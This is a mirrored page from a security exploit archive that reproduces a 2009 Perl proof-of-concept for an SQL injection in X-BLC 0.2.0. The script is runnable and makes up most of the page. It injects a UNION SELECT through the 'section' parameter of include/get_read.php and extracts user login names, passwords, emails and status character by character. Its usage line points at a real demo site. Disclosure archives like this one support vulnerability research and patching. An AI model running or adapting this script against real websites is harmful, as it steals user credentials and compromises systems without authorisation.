首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
X-BLC 0.2.0 (get_read.php section) SQL Injection Vulnerability
来源:vfocus.net 作者:vfocus 发布时间:2009-03-24  
#!/usr/bin/perl -w

#  :::::::-.   ...    ::::::.    :::.
#   ;;,   `';, ;;     ;;;`;;;;,  `;;;
#   `[[     [[[['     [[[  [[[[[. '[[
#    $$,    $$$$      $$$  $$$ "Y$c$$
#    888_,o8P'88    .d888  888    Y88
#    MMMMP"`   "YmmMMMM""  MMM     YM
#   [ Discovered by dun \ dun[at]strcpy.pl ]
#
######################################################
#  [ xblc <= 0.2.0 ]   SQL Injection Vulnerability   #
######################################################
# 
# Script: "X-BLC is a dynamic web content management system written in PHP..."
#
# Script site: http://www.biolawcom.de/xblc/ ,	http://sourceforge.net/projects/xblc/
# Download: http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull
#
# Usage: perl expl.pl http://www.biolawcom.de/demo/
#
#######################################################
#
# [ dun / 2009 ] 

use IO::Socket;
use Socket;
use IO::Select;

my @tables=("id","login_name","password","email","status");

if(scalar(@ARGV) < 1) {
	print "\nUsage: perl expl.pl http://site.com/path/\n\n";
	exit;
}

foreach $t (@tables) {
$i=1;
print $t." = ";
  do {
	$path 	= "include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(".$t.",".$i.",1))+FROM+users/*";
	$host 	= $ARGV[0].$path;
	#############################################
	# $page = http_query($host, $proxy, $port); #
	#############################################
	$page = http_query($host);
	$page =~ /guest=(.*)\,runTime=/;
	$char=$1;
	print chr($char);
	$i++;
  } while($char != 0);
  print "\n";
}
  
sub http_query {
 my $page="";
 my $url=$_[0];
 if(defined($_[1]) && defined($_[2])) {
	$host=$_[1];
	$port=$_[2];
	$get="GET $url HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
 } else {
	$port=80;
	$url=~s/http:\/\///;
	$host=$url;
	$query=$url;
	$host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
	$query=~s/$host//;
	if ($query eq "") {$query="/";};
	$get="GET $query HTTP/1.0\r\nHost: $host\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
 }
 my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
 print $sock $get;
 my @r = <$sock>;
 $page="@r";
 close($sock);
 	
 return $page;
}

# [2009-03-23]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Orbit Downloader 2.8.7 Arbitra
·FreeBSD 7.x (Dumping Environme
·Sysax Multi Server 4.3 Remote
·Gigaset SE461 WiMAX router Rem
·SuperNews 1.5 (valor.php notic
·FreeBSD 7.0/7.1 (ktimer) Local
·WBB3 rGallery 1.2.3 (UserGalle
·Mac OS X xnu <= 1228.3.13 (zi
·CloneCD/DVD (ElbyCDIO.sys < 6.
·Mac OS X xnu <= 1228.3.13 (mac
·Racer 0.5.3b5 Remote Stack Buf
·Mac OS X xnu <= 1228.3.13 (pro
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved